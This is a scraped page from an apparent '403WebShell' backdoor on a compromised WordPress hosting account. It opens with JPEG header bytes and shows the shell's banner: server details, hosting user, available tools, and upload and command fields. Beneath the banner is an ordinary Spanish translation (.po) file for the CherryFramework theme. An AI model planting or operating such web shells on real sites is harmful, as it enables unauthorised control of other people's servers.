????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.48.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/peekmysite.com/wp-content/themes/CherryFramework/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/peekmysite.com/wp-content/themes/CherryFramework/languages/es_ES.po
msgid ""
msgstr ""
"Project-Id-Version: es_ES\n"
"POT-Creation-Date: 2015-02-11 16:17+0200\n"
"PO-Revision-Date: 2015-02-11 16:17+0200\n"
"Last-Translator: \n"
"Language-Team: Cherry Team <[email protected]>\n"
"Language: es_ES\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.7.1\n"
"X-Poedit-KeywordsList: __;_e\n"
"X-Poedit-Basepath: ./\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-SearchPath-0: ..\n"

#: ../admin/options-medialibrary-uploader.php:79
#: ../admin/options-medialibrary-uploader.php:136 ../includes/locals.php:27
msgid "Upload"
msgstr "Subir"

#: ../admin/options-medialibrary-uploader.php:80
#: ../admin/options-medialibrary-uploader.php:138
msgid "Remove"
msgstr ""

#: ../admin/options-medialibrary-uploader.php:141
msgid "Upgrade your version of WordPress for full media support."
msgstr ""

#: ../admin/options-sanitize.php:257 ../includes/locals.php:414
msgid "No Repeat"
msgstr "No se repite"

#: ../admin/options-sanitize.php:258 ../includes/locals.php:415
msgid "Repeat Horizontally"
msgstr "Se repite horizontalmente"

#: ../admin/options-sanitize.php:259 ../includes/locals.php:416
msgid "Repeat Vertically"
msgstr "Se repite verticalmente"

#: ../admin/options-sanitize.php:260 ../includes/locals.php:417
msgid "Repeat All"
msgstr "Se repita todo"

#: ../admin/options-sanitize.php:273 ../includes/locals.php:418
msgid "Top Left"
msgstr "Arriba Izquierda"

#: ../admin/options-sanitize.php:274 ../includes/locals.php:419
msgid "Top Center"
msgstr "Arriba Centro"

#: ../admin/options-sanitize.php:275 ../includes/locals.php:420
msgid "Top Right"
msgstr "Arriba Derecha"

#: ../admin/options-sanitize.php:276 ../includes/locals.php:421
msgid "Middle Left"
msgstr "Centro Izquierda"

#: ../admin/options-sanitize.php:277 ../includes/locals.php:422
msgid "Middle Center"
msgstr "Centro"

#: ../admin/options-sanitize.php:278 ../includes/locals.php:423
msgid "Middle Right"
msgstr "Centro Derecha"

#: ../admin/options-sanitize.php:279 ../includes/locals.php:424
msgid "Bottom Left"
msgstr "Abajo Izquierda"

#: ../admin/options-sanitize.php:280 ../includes/locals.php:425
msgid "Bottom Center"
msgstr "Abajo Centro"

#: ../admin/options-sanitize.php:281 ../includes/locals.php:426
msgid "Bottom Right"
msgstr "Abajo Derecha"

#: ../admin/options-sanitize.php:294 ../includes/locals.php:427
msgid "Scroll Normally"
msgstr "Desplazarase normalmente"

#: ../admin/options-sanitize.php:295 ../includes/locals.php:428
msgid "Fixed in Place"
msgstr "Fijado"

#: ../admin/options-sanitize.php:346
msgid "1"
msgstr "1"

#: ../admin/options-sanitize.php:347
msgid "1.2"
msgstr "1.2"

#: ../admin/options-sanitize.php:348
msgid "1.5"
msgstr "1.5"

#: ../admin/options-sanitize.php:349
msgid "2"
msgstr "2"

#: ../admin/options-sanitize.php:391 ../includes/locals.php:907
msgid "Latin"
msgstr "Latino"

#: ../admin/options-sanitize.php:392 ../includes/locals.php:908
msgid "Latin Extended"
msgstr "Latino extendido"

#: ../admin/options-sanitize.php:393 ../includes/locals.php:909
msgid "Greek"
msgstr "Griego"

#: ../admin/options-sanitize.php:394 ../includes/locals.php:910
msgid "Greek Extended"
msgstr "Griego extendido"

#: ../admin/options-sanitize.php:395 ../includes/locals.php:911
msgid "Cyrillic"
msgstr "Cirílico"

#: ../admin/options-sanitize.php:396 ../includes/locals.php:912
msgid "Cyrillic Extended"
msgstr "Cirílico extendido"

#: ../admin/options-sanitize.php:397 ../includes/locals.php:913
msgid "Vietnamese"
msgstr "Vietnamita"

#: ../admin/options-sanitize.php:414 ../includes/locals.php:12
#: ../includes/locals.php:914
msgid "Normal"
msgstr "Regular"

#: ../admin/options-sanitize.php:415 ../includes/locals.php:915
msgid "Italic"
msgstr "Cursiva"

#: ../admin/options-sanitize.php:416 ../includes/locals.php:916
msgid "Bold"
msgstr "Negrita"

#: ../admin/options-sanitize.php:417 ../includes/locals.php:917
msgid "Bold Italic"
msgstr "Cursiva Negrita"

#: ../functions.php:1575 ../functions.php:1617
msgid "The package could not be installed."
msgstr "El paquete no se pudo instalar."

#: ../includes/class-tgm-plugin-activation.php:196 ../includes/locals.php:580
#: ../includes/register-plugins.php:78
msgid "Install Required Plugins"
msgstr "Instalar Plugins obligatorios"

#: ../includes/class-tgm-plugin-activation.php:197 ../includes/locals.php:581
#: ../includes/register-plugins.php:79
msgid "Install Plugins"
msgstr "Instalar Plugins"

#: ../includes/class-tgm-plugin-activation.php:198 ../includes/locals.php:582
#: ../includes/register-plugins.php:80
#, php-format
msgid "Installing Plugin: %s"
msgstr "Instalando Plugin: %s"

#: ../includes/class-tgm-plugin-activation.php:199
msgid "Something went wrong."
msgstr ""

#: ../includes/class-tgm-plugin-activation.php:210 ../includes/locals.php:604
#: ../includes/register-plugins.php:92
msgid "Return to Required Plugins Installer"
msgstr "Abrir Instalador de plugins requeridos"

#: ../includes/class-tgm-plugin-activation.php:211
msgid "Return to the dashboard"
msgstr "Regresar al panel"

#: ../includes/class-tgm-plugin-activation.php:212
#: ../includes/class-tgm-plugin-activation.php:1965 ../includes/locals.php:635
#: ../includes/register-plugins.php:93
msgid "Plugin activated successfully."
msgstr "Plugin está activado."

#: ../includes/class-tgm-plugin-activation.php:213 ../includes/locals.php:626
msgid "The following plugin was activated successfully:"
msgstr "El siguiente plugin está activado:"

#: ../includes/class-tgm-plugin-activation.php:214 ../includes/locals.php:606
#, php-format
msgid "All plugins installed and activated successfully. %1$s"
msgstr "Todos plugins están instalados y activados. %1$s"

#: ../includes/class-tgm-plugin-activation.php:215 ../includes/locals.php:609
#: ../includes/locals.php:933
msgid "Dismiss this notice"
msgstr "Despedir este aviso."

#: ../includes/class-tgm-plugin-activation.php:556
#: ../includes/class-tgm-plugin-activation.php:2182 ../includes/locals.php:607
#: ../includes/locals.php:619
msgid "Return to the Dashboard"
msgstr "Volverse al Cuadro de Instrumentos"

#: ../includes/class-tgm-plugin-activation.php:1186 ../includes/locals.php:611
msgid "Private Repository"
msgstr "DRepositorio privado"

#: ../includes/class-tgm-plugin-activation.php:1189 ../includes/locals.php:612
msgid "Pre-Packaged"
msgstr "Empaquetado"

#: ../includes/class-tgm-plugin-activation.php:1194 ../includes/locals.php:613
msgid "WordPress Repository"
msgstr "Repositorio de WordPress"

#: ../includes/class-tgm-plugin-activation.php:1197 ../includes/locals.php:614
msgid "Required"
msgstr "Obligatorio"

#: ../includes/class-tgm-plugin-activation.php:1197 ../includes/locals.php:615
msgid "Recommended"
msgstr "Recomendado"

#: ../includes/class-tgm-plugin-activation.php:1200 ../includes/locals.php:616
msgid "Not Installed"
msgstr "No instalado"

#: ../includes/class-tgm-plugin-activation.php:1202 ../includes/locals.php:617
msgid "Installed But Not Activated"
msgstr "Instalado pero No activado"

#: ../includes/class-tgm-plugin-activation.php:1304
#: ../includes/class-tgm-plugin-activation.php:1412 ../includes/locals.php:624
msgid "Install"
msgstr "Instalar"

#: ../includes/class-tgm-plugin-activation.php:1326
#: ../includes/class-tgm-plugin-activation.php:1413 ../includes/locals.php:625
msgid "Activate"
msgstr "Activar"

#: ../includes/class-tgm-plugin-activation.php:1375
#, php-format
msgid ""
"No plugins to install or activate. <a href=\"%1$s\" title=\"Return to the "
"Dashboard\">Return to the Dashboard</a>"
msgstr ""

#: ../includes/class-tgm-plugin-activation.php:1391 ../includes/locals.php:620
msgid "Plugin"
msgstr "Plugin"

#: ../includes/class-tgm-plugin-activation.php:1392 ../includes/locals.php:621
msgid "Source"
msgstr "Source"

#: ../includes/class-tgm-plugin-activation.php:1393 ../includes/locals.php:622
msgid "Type"
msgstr "Tipo"

#: ../includes/class-tgm-plugin-activation.php:1394 ../includes/locals.php:623
msgid "Status"
msgstr "Estado"

#: ../includes/class-tgm-plugin-activation.php:1522
msgid "No plugins are available to be installed at this time."
msgstr ""

#: ../includes/class-tgm-plugin-activation.php:1630
msgid "No plugins are available to be activated at this time."
msgstr ""

#: ../includes/class-tgm-plugin-activation.php:1948 ../includes/locals.php:628
msgid "Install package not available."
msgstr "Paquete de instalación no está disponible."

#: ../includes/class-tgm-plugin-activation.php:1949
#, php-format
msgid "Downloading install package from <span class=\"code\">%s</span>&#8230;"
msgstr ""

#: ../includes/class-tgm-plugin-activation.php:1950 ../includes/locals.php:630
msgid "Unpacking the package&#8230;"
msgstr "Descomprimir el paquete &#8230;"

#: ../includes/class-tgm-plugin-activation.php:1951 ../includes/locals.php:631
msgid "Installing the plugin&#8230;"
msgstr "Instalar el plugin&#8230;"

#: ../includes/class-tgm-plugin-activation.php:1952 ../includes/locals.php:632
msgid "Plugin install failed."
msgstr "No se puede instalar plugin."

#: ../includes/class-tgm-plugin-activation.php:1953 ../includes/locals.php:633
msgid "Plugin installed successfully."
msgstr "Plugin está instalado."

#: ../includes/class-tgm-plugin-activation.php:1964 ../includes/locals.php:634
msgid "Plugin activation failed."
msgstr "No se puede activar plugin."

#: ../includes/class-tgm-plugin-activation.php:2078 ../includes/locals.php:636
msgid ""
"The installation and activation process is starting. This process may take a "
"while on some hosts, so please be patient."
msgstr ""
"El proceso de instalación y activación comienza. Este proceso puede tomar "
"algunos minutos, así que, por favor, tenga paciencia."

#: ../includes/class-tgm-plugin-activation.php:2079 ../includes/locals.php:637
#, php-format
msgid "%1$s installed and activated successfully."
msgstr "%1$s está instalado y activado."

#: ../includes/class-tgm-plugin-activation.php:2079
#: ../includes/class-tgm-plugin-activation.php:2088 ../includes/locals.php:638
msgid "Show Details"
msgstr "Mostrar Detalles"

#: ../includes/class-tgm-plugin-activation.php:2079
#: ../includes/class-tgm-plugin-activation.php:2088 ../includes/locals.php:639
msgid "Hide Details"
msgstr "Ocultar Detalles"

#: ../includes/class-tgm-plugin-activation.php:2080 ../includes/locals.php:640
msgid "All installations and activations have been completed."
msgstr "Todas instalaciones y activaciones están completadas."

#: ../includes/class-tgm-plugin-activation.php:2081 ../includes/locals.php:641
#, php-format
msgid "Installing and Activating Plugin %1$s (%2$d/%3$d)"
msgstr "Instalar y Activar Plugin %1$s (%2$d/%3$d)"

#: ../includes/class-tgm-plugin-activation.php:2085 ../includes/locals.php:642
msgid ""
"The installation process is starting. This process may take a while on some "
"hosts, so please be patient."
msgstr ""
"El proceso de instalación comienza. Este proceso puede tomar algunos "
"minutos, así que, por favor, tenga paciencia."

#: ../includes/class-tgm-plugin-activation.php:2086 ../includes/locals.php:643
#, php-format
msgid "An error occurred while installing %1$s: <strong>%2$s</strong>."
msgstr ""
"Se produjo un error durante la instalación de %1$s: <strong>%2$s</strong>."

#: ../includes/class-tgm-plugin-activation.php:2087 ../includes/locals.php:644
#, php-format
msgid "The installation of %1$s failed."
msgstr "La instalación de%1$s ha fallado."

#: ../includes/class-tgm-plugin-activation.php:2088 ../includes/locals.php:645
#, php-format
msgid "%1$s installed successfully."
msgstr "%1$s está instalado con éxito."

#: ../includes/class-tgm-plugin-activation.php:2089 ../includes/locals.php:646
msgid "All installations have been completed."
msgstr "Todas instalaciones están completadas."

#: ../includes/class-tgm-plugin-activation.php:2090 ../includes/locals.php:647
#, php-format
msgid "Installing Plugin %1$s (%2$d/%3$d)"
msgstr "Instalación de Plugin %1$s (%2$d/%3$d)"

#: ../includes/locals.php:9
msgid "No"
msgstr "No"

#: ../includes/locals.php:10
msgid "Yes"
msgstr "Sí"

#: ../includes/locals.php:11
msgid "Slow"
msgstr "Lento"

#: ../includes/locals.php:13
msgid "Fast"
msgstr "Rápido"

#: ../includes/locals.php:14
msgid "Normal size"
msgstr "Tamaño regular"

#: ../includes/locals.php:15
msgid "Large size"
msgstr "Tamaño grande"

#: ../includes/locals.php:16
msgid "Font Size"
msgstr "Tamaño de tipo de letra"

#: ../includes/locals.php:17
msgid "Lineheight"
msgstr "Altura de línea"

#: ../includes/locals.php:18
msgid "Font Face"
msgstr "Tipo de letra"

#: ../includes/locals.php:19
msgid "Character Sets"
msgstr "Conjuntos de caracteres"

#: ../includes/locals.php:20
msgid "Font Style"
msgstr "Estilo de tipo de letra"

#: ../includes/locals.php:21
msgid "Color"
msgstr "Color"

#: ../includes/locals.php:22
msgid "Import"
msgstr "Importar"

#: ../includes/locals.php:23
msgid "Export"
msgstr "Exportar"

#: ../includes/locals.php:24
msgid "Done"
msgstr "Hecho"

#: ../includes/locals.php:25
msgid "Error"
msgstr "Error"

#: ../includes/locals.php:26
msgid "success"
msgstr "éxito"

#: ../includes/locals.php:28
msgid "try again"
msgstr "inténtelo de nuevo"

#: ../includes/locals.php:29
msgid "Finish"
msgstr "Finalizar"

#: ../includes/locals.php:30
msgid "Skip this step"
msgstr "Omitir este paso"

#: ../includes/locals.php:31
msgid "next"
msgstr "siguiente"

#: ../includes/locals.php:32
msgid "None"
msgstr "Ningún"

#: ../includes/locals.php:33 ../includes/locals.php:772
msgid "Date"
msgstr "Fecha"

#: ../includes/locals.php:34
msgid "Title"
msgstr "Título"

#: ../includes/locals.php:35
msgid "Info"
msgstr "Información"

#: ../includes/locals.php:36
msgid "Random"
msgstr "Al azar"

#: ../includes/locals.php:37
msgid "Comment count"
msgstr "Número de comentarios"

#: ../includes/locals.php:38
msgid "Enable Lightbox"
msgstr "Activar Lightbox"

#: ../includes/locals.php:39
msgid "Check this to enable the lightbox."
msgstr "Marque esto para activar lightbox."

#: ../includes/locals.php:40
msgid "Permalink"
msgstr "Enlace permanente a:"

#: ../includes/locals.php:41
msgid "Read more"
msgstr "Leer más"

#: ../includes/locals.php:42
msgid "View all"
msgstr "Ver todo"

#: ../includes/locals.php:43
msgid "Width"
msgstr "Ancho"

#: ../includes/locals.php:44
msgid "Height"
msgstr "Altura"

#: ../includes/locals.php:45
msgid "Excerpt length (words):"
msgstr "Extracto (número de palabras):"

#: ../includes/locals.php:46
msgid "Link Text:"
msgstr "Texto de enlace:"

#: ../includes/locals.php:47
msgid "Link URL"
msgstr "URL de enlace"

#: ../includes/locals.php:48
msgid "Standard"
msgstr "Regular"

#: ../includes/locals.php:49
msgid "Aside"
msgstr "Aparte"

#: ../includes/locals.php:50
msgid "Quote"
msgstr "Cita"

#: ../includes/locals.php:51
msgid "Link"
msgstr "Enlace"

#: ../includes/locals.php:52
msgid "Image"
msgstr "Imagen"

#: ../includes/locals.php:53
msgid "Gallery"
msgstr "Galería"

#: ../includes/locals.php:54
msgid "Audio"
msgstr "Audio"

#: ../includes/locals.php:55
msgid "Video"
msgstr "Vídeo"

#: ../includes/locals.php:56
msgid "Categories"
msgstr "Categorías"

#: ../includes/locals.php:57
msgid "Tags"
msgstr "Etiquetas"

#: ../includes/locals.php:58
msgid "Show All"
msgstr "Mostrar todo"

#: ../includes/locals.php:59
msgid "search"
msgstr "buscar"

#: ../includes/locals.php:60
msgid "Go"
msgstr "Ir"

#: ../includes/locals.php:61
msgid "&laquo; Previous post"
msgstr "&laquo; Entrada anterior"

#: ../includes/locals.php:62
msgid "Next Post &raquo;"
msgstr "Entrada siguiente &raquo;"

#: ../includes/locals.php:63
msgid "URL"
msgstr "URL"

#: ../includes/locals.php:64
msgid "URL #1"
msgstr "URL #1"

#: ../includes/locals.php:65
msgid "URL #2"
msgstr "URL #2"

#: ../includes/locals.php:66
msgid "Uncategorized"
msgstr "Sin categoría"

#: ../includes/locals.php:67
msgid "Last"
msgstr "Último"

#: ../includes/locals.php:68
msgid "First"
msgstr "Primero"

#: ../includes/locals.php:69
msgid "Delete"
msgstr "Borrar"

#: ../includes/locals.php:70
msgid "Wide"
msgstr "Anchura"

#: ../includes/locals.php:71
msgid "Boxed"
msgstr "Encajonado"

#: ../includes/locals.php:74
msgid "Previous"
msgstr "Anterior"

#: ../includes/locals.php:75
msgid "Next"
msgstr "Siguiente"

#: ../includes/locals.php:76
msgid "Play"
msgstr "Reproducir"

#: ../includes/locals.php:77
msgid "Pause"
msgstr "Pausa"

#: ../includes/locals.php:78
msgid "Stop"
msgstr "Parar"

#: ../includes/locals.php:79
msgid "Mute"
msgstr "Mudo"

#: ../includes/locals.php:80
msgid "Unmute"
msgstr "Activar el sonido"

#: ../includes/locals.php:81
msgid ""
"<span>Update Required. </span>To play the media you will need to either "
"update your browser to a recent version or update your <a href='//get.adobe."
"com/flashplayer/' target='_blank'>Flash plugin</a>."
msgstr ""
"<span>Actualización Necesaria. </span>Para reproducir el archivo multimedia "
"tendrá que actualizar su navegador a una versión más reciente o actualizar "
"el <a href='//get.adobe.com/flashplayer/' target='_blank'>plugin del Flash</"
"a>."

#: ../includes/locals.php:84
msgid "Cherry Options"
msgstr "Opciones de Cherry"

#: ../includes/locals.php:85
msgid "Customize"
msgstr "Personalizar"

#: ../includes/locals.php:86
msgid "Support"
msgstr "Soporte"

#: ../includes/locals.php:87
msgid "Documentation"
msgstr "Documentación"

#: ../includes/locals.php:88
msgid "Save Options"
msgstr "Guardar opciones"

#: ../includes/locals.php:89
msgid "Restore Defaults"
msgstr "Restaurar valores predeterminados"

#: ../includes/locals.php:90
msgid "Click OK to reset. Any theme settings will be lost!"
msgstr "Haga clic en OK para reiniciar. !La configuración del tema se perderá!"

#: ../includes/locals.php:93
msgid "General"
msgstr "General"

#: ../includes/locals.php:94
msgid "Body styling"
msgstr "Estilo de texto"

#: ../includes/locals.php:95
msgid "Change the background style"
msgstr "Cambiar el estilo de fondo"

#: ../includes/locals.php:96
msgid "Body Background Image"
msgstr "Imagen de Fondo"

#: ../includes/locals.php:97
msgid "Body Background Color"
msgstr "Color de Fondo"

#: ../includes/locals.php:98
msgid "Header Image"
msgstr "Imagen del Encabezado"

#: ../includes/locals.php:99
msgid "Header Color"
msgstr "Color del Encabezado"

#: ../includes/locals.php:100
msgid "Layout Style"
msgstr "Estilo de Diseño"

#: ../includes/locals.php:101
msgid "Select layout for Your site"
msgstr "Seleccione el diseño para Su sitio"

#: ../includes/locals.php:102
msgid "Main background color"
msgstr "Color principal de fondo"

#: ../includes/locals.php:103
msgid "Change the main background color"
msgstr "Cambiar el color principal de fondo"

#: ../includes/locals.php:104
msgid "Header styling"
msgstr "Estilo del encabezado"

#: ../includes/locals.php:105
msgid "Change the header style"
msgstr "Cambiar el estilo del encabezado"

#: ../includes/locals.php:106
msgid "Link color"
msgstr "Clase de enlace"

#: ../includes/locals.php:107
msgid "Change the color of link"
msgstr "Cambiar el color de botones y enlaces."

#: ../includes/locals.php:108
msgid "Link color hover"
msgstr "Color del enlace"

#: ../includes/locals.php:109
msgid "Change the color of link hover state"
msgstr "Cambiar el color de botones y enlaces"

#: ../includes/locals.php:110
msgid "Body Text"
msgstr "Texto"

#: ../includes/locals.php:111
msgid ""
"Choose your prefered font for body text. <em>Note: fonts marked with "
"<strong>*</strong> symbol will be loaded from the <a href='//www.google.com/"
"webfonts'>Google Web Fonts</a> library.</em>"
msgstr ""
"Elija su tamaño de letra preferido para el texto. <em>Nota: el tamaño de "
"letra marcada con el símbolo <strong>*</strong> se cargará desde la "
"biblioteca de <a href='//www.google.com/webfonts'>Tipos de Letra de Google</"
"a>.</em>"

#: ../includes/locals.php:112
msgid "H1 Heading"
msgstr "Cabecera H1"

#: ../includes/locals.php:113
msgid ""
"Choose your prefered font for H1 heading and titles. <em>Note: fonts marked "
"with <strong>*</strong> symbol will be loaded from the <a href='//www.google."
"com/webfonts'>Google Web Fonts</a> library.</em>"
msgstr ""
"Elija su tamaño de letra preferido para la cabecera H1 y títulos. <em>Nota: "
"el tamaño de letra marcada con el símbolo <strong>*</strong> se cargará "
"desde la biblioteca de <a href='//www.google.com/webfonts'>Tipos de Letra de "
"Google</a>.</em>"

#: ../includes/locals.php:114
msgid "H2 Heading"
msgstr "Cabecera H2"

#: ../includes/locals.php:115
msgid ""
"Choose your prefered font for H2 heading and titles. <em>Note: fonts marked "
"with <strong>*</strong> symbol will be loaded from the <a href='//www.google."
"com/webfonts'>Google Web Fonts</a> library.</em>"
msgstr ""
"Elija su tamaño de letra preferido para la cabecera H2 y títulos. <em>Nota: "
"el tamaño de letra marcada con el símbolo <strong>*</strong> se cargará "
"desde la biblioteca de <a href='//www.google.com/webfonts'>Tipos de Letra de "
"Google</a>.</em>"

#: ../includes/locals.php:116
msgid "H3 Heading"
msgstr "Cabecera H3"

#: ../includes/locals.php:117
msgid ""
"Choose your prefered font for H3 heading and titles. <em>Note: fonts marked "
"with <strong>*</strong> symbol will be loaded from the <a href='//www.google."
"com/webfonts'>Google Web Fonts</a> library.</em>"
msgstr ""
"Elija su tamaño de letra preferido para la cabecera H3 y títulos. <em>Nota: "
"el tamaño de letra marcada con el símbolo <strong>*</strong> se cargará "
"desde la biblioteca de <a href='//www.google.com/webfonts'>Tipos de Letra de "
"Google</a>.</em>"

#: ../includes/locals.php:118
msgid "H4 Heading"
msgstr "Cabecera H4"

#: ../includes/locals.php:119
msgid ""
"Choose your prefered font for H4 heading and titles. <em>Note: fonts marked "
"with <strong>*</strong> symbol will be loaded from the <a href='//www.google."
"com/webfonts'>Google Web Fonts</a> library.</em>"
msgstr ""
"Elija su tamaño de letra preferido para la cabecera H4 y títulos. <em>Nota: "
"el tamaño de letra marcada con el símbolo <strong>*</strong> se cargará "
"desde la biblioteca de <a href='//www.google.com/webfonts'>Tipos de Letra de "
"Google</a>.</em>"

#: ../includes/locals.php:120
msgid "H5 Heading"
msgstr "Cabecera H5"

#: ../includes/locals.php:121
msgid ""
"Choose your prefered font for H5 heading and titles. <em>Note: fonts marked "
"with <strong>*</strong> symbol will be loaded from the <a href='//www.google."
"com/webfonts'>Google Web Fonts</a> library.</em>"
msgstr ""
"Elija su tamaño de letra preferido para la cabecera H5 y títulos. <em>Nota: "
"el tamaño de letra marcada con el símbolo <strong>*</strong> se cargará "
"desde la biblioteca de <a href='//www.google.com/webfonts'>Tipos de Letra de "
"Google</a>.</em>"

#: ../includes/locals.php:122
msgid "H6 Heading"
msgstr "Cabecera H6"

#: ../includes/locals.php:123
msgid ""
"Choose your prefered font for H6 heading and titles. <em>Note: fonts marked "
"with <strong>*</strong> symbol will be loaded from the <a href='//www.google."
"com/webfonts'>Google Web Fonts</a> library.</em>"
msgstr ""
"Elija su tamaño de letra preferido para la cabecera H6 y títulos. <em>Nota: "
"el tamaño de letra marcada con el símbolo <strong>*</strong> se cargará "
"desde la biblioteca de <a href='//www.google.com/webfonts'>Tipos de Letra de "
"Google</a>.</em>"

#: ../includes/locals.php:124
msgid "Display search box?"
msgstr "¿Mostrar búsqueda?"

#: ../includes/locals.php:125
msgid "Display search box in the header?"
msgstr "¿Mostrar búsqueda en la cabecera?"

#: ../includes/locals.php:126
msgid "Display breadcrumbs?"
msgstr "¿Mostrar breadcumbs?"

#: ../includes/locals.php:127
msgid "Display breadcrumbs in the page?"
msgstr "¿Mostrar breadcumbs en la página?"

#: ../includes/locals.php:128
msgid "Custom CSS"
msgstr "CSS Personalizado"

#: ../includes/locals.php:129
msgid ""
"Want to add any custom CSS code? Put in here, and the rest is taken care of. "
"This overrides any other stylesheets. eg: a.button{color:green}"
msgstr ""
"¿Quiere añadir cualquier código CSS personalizado? Póngalo aquí. Esto "
"anulará cualquier otra hoja de estilo. por ejemplo: a.button{color:green}"

#: ../includes/locals.php:130
msgid "Cookie Banner"
msgstr ""

#: ../includes/locals.php:131
msgid "Display Cookie Banner?"
msgstr ""

#: ../includes/locals.php:132
msgid "Display Cookie Banner in the bottom page?"
msgstr ""

#: ../includes/locals.php:133
msgid "Text"
msgstr ""

#: ../includes/locals.php:134
msgid "Text for a Banner content"
msgstr ""

#: ../includes/locals.php:135
msgid ""
"We use Cookies - By using this site or closing this you agree to our Cookies "
"policy."
msgstr ""

#: ../includes/locals.php:136
msgid "Live Chat account ID"
msgstr ""

#: ../includes/locals.php:137
#, php-format
msgid "To enable Olark live chat enter your live chat account ID here. %s"
msgstr ""

#: ../includes/locals.php:140
msgid "Logo"
msgstr "Logotipo"

#: ../includes/locals.php:141
msgid "Logo & Favicon"
msgstr "Logotipo y Favicon"

#: ../includes/locals.php:142
msgid "What kind of logo?"
msgstr "Tipo de logotipo"

#: ../includes/locals.php:143
msgid ""
"Select whether you want your main logo to be an image or text. If you select "
"\"image\" you can put in the image url in the next option, and if you select "
"\"text\" your Site Title will be shown instead."
msgstr ""
"Hay que decidir si desea utilizar una imagen o un texto como su logotipo "
"principal. Si elige \"imagen\" Usted puede insertar URL de la imagen en la "
"siguiente opción, y si elige \"texto\" su título del sitio se mostrará en su "
"lugar."

#: ../includes/locals.php:144
msgid "Image Logo"
msgstr "Logotipo de imagen"

#: ../includes/locals.php:145
msgid "Text Logo"
msgstr "Logotipo de texto"

#: ../includes/locals.php:146
msgid "Logo Typography"
msgstr "Tipografía de Logotipo"

#: ../includes/locals.php:147 ../includes/locals.php:157
msgid ""
"Choose your prefered font for menu. <em>Note: fonts marked with <strong>*</"
"strong> symbol will be loaded from the <a href='//www.google.com/"
"webfonts'>Google Web Fonts</a> library.</em>"
msgstr ""
"Elija su tamaño de letra preferido para el menú. <em>Nota: el tamaño de "
"letra marcada con el símbolo <strong>*</<strong>*</strong> se cargará desde "
"la biblioteca de <a href='//www.google.com/webfonts'>Tipos de Letra de "
"Google</a>.</em>"

#: ../includes/locals.php:148
msgid "Logo Image Path"
msgstr "Ruta de imagen de logotipo"

#: ../includes/locals.php:149
msgid ""
"Click Upload or Enter the direct path to your <strong>logo image</strong>. "
"For example <em>//your_website_url_here/wp-content/themes/themeXXXX/images/"
"logo.png</em>"
msgstr ""
"Haga clic en Subir o Introduzca la ruta directa a su <strong>imagen del "
"logotipo</strong>. Por ejemplo <em>//your_website_url_here/wp-content/themes/"
"themeXXXX/images/logo.png</em>"

#: ../includes/locals.php:150
msgid "Favicon"
msgstr "Favicon"

#: ../includes/locals.php:151
msgid ""
"Click Upload or Enter the direct path to your <strong>favicon</strong>. For "
"example <em>//your_website_url_here/wp-content/themes/themeXXXX/favicon.ico</"
"em>"
msgstr ""

#: ../includes/locals.php:152
msgid "Logo Color"
msgstr "Color del Logotipo"

#: ../includes/locals.php:155
msgid "Navigation"
msgstr "Navegación"

#: ../includes/locals.php:156
msgid "Menu Typography"
msgstr "Tipografía de Menú"

#: ../includes/locals.php:158
msgid "Delay"
msgstr "Retraso"

#: ../includes/locals.php:159
msgid "Miliseconds delay on mouseout."
msgstr "Milisegundos de retraso durante mouseout."

#: ../includes/locals.php:160
msgid "Fade-in animation"
msgstr "Animación que aparece gradualmente (fade-in)"

#: ../includes/locals.php:161
msgid "Fade-in animation."
msgstr "Animación que aparece gradualmente (fade-in)"

#: ../includes/locals.php:162 ../includes/locals.php:163
msgid "Slide-down animation."
msgstr "Animación de slide-down (deslizarse hacia abajo)"

#: ../includes/locals.php:164
msgid "Enable fade-in animation"
msgstr "Activar Animación que aparece gradualmente (fade-in)"

#: ../includes/locals.php:165
msgid "Disable fade-in animation"
msgstr "Desactivar Animación que aparece gradualmente (fade-in)"

#: ../includes/locals.php:166
msgid "Enable slide-down animation"
msgstr "Activar animación de slide-down (deslizarse hacia abajo)"

#: ../includes/locals.php:167
msgid "Disable slide-down animation"
msgstr "Desactivar animación de slide-down (deslizarse hacia abajo)"

#: ../includes/locals.php:168
msgid "Speed"
msgstr "Velocidad"

#: ../includes/locals.php:169
msgid "Animation speed."
msgstr "Velocidad de animación."

#: ../includes/locals.php:170
msgid "Arrows markup."
msgstr "Marcado (markup) de flechas"

#: ../includes/locals.php:171
msgid "Do you want to generate arrow mark-up?"
msgstr "¿Quiere generar marcado (markup) de flechas?"

#: ../includes/locals.php:172
msgid "Mobile menu label."
msgstr "Etiqueta del menú móvil"

#: ../includes/locals.php:173
msgid "This text is visible in mobile select menu."
msgstr "Este texto está visible en el menú de selección móvil."

#: ../includes/locals.php:174
msgid "Navigate to..."
msgstr "Navegación..."

#: ../includes/locals.php:175
msgid "Header Menu Font"
msgstr "Tamaño de Letra del Menú de Encabezado"

#: ../includes/locals.php:176
msgid "Header Menu Color"
msgstr "Color del Menú de Encabezado"

#: ../includes/locals.php:177
msgid "Use stickUp menu"
msgstr ""

#: ../includes/locals.php:178
msgid "Do you want to use stickUp menu?"
msgstr ""

#: ../includes/locals.php:181
msgid "Slider Settings"
msgstr "Configuración de Slider"

#: ../includes/locals.php:182
msgid "Slider"
msgstr "Slider"

#: ../includes/locals.php:183
msgid "The type of slider"
msgstr "Tipo de slider"

#: ../includes/locals.php:184
msgid "You can choose the type of slider that suits you best."
msgstr "Se puede elegir su tipo de slider"

#: ../includes/locals.php:185
msgid "Disable slider"
msgstr "Desactivar animación de slide-down (deslizarse hacia abajo)"

#: ../includes/locals.php:186 ../includes/locals.php:232
#: ../includes/locals.php:503
msgid "Slideshow"
msgstr "Presentación de diapositivas"

#: ../includes/locals.php:187 ../includes/locals.php:489
msgid "Slides"
msgstr "Diapositivas"

#: ../includes/locals.php:188
msgid "Sliding effect"
msgstr "Efecto sliding (deslizante)"

#: ../includes/locals.php:189
msgid "Select your animation type."
msgstr "Elegir tipo de animación."

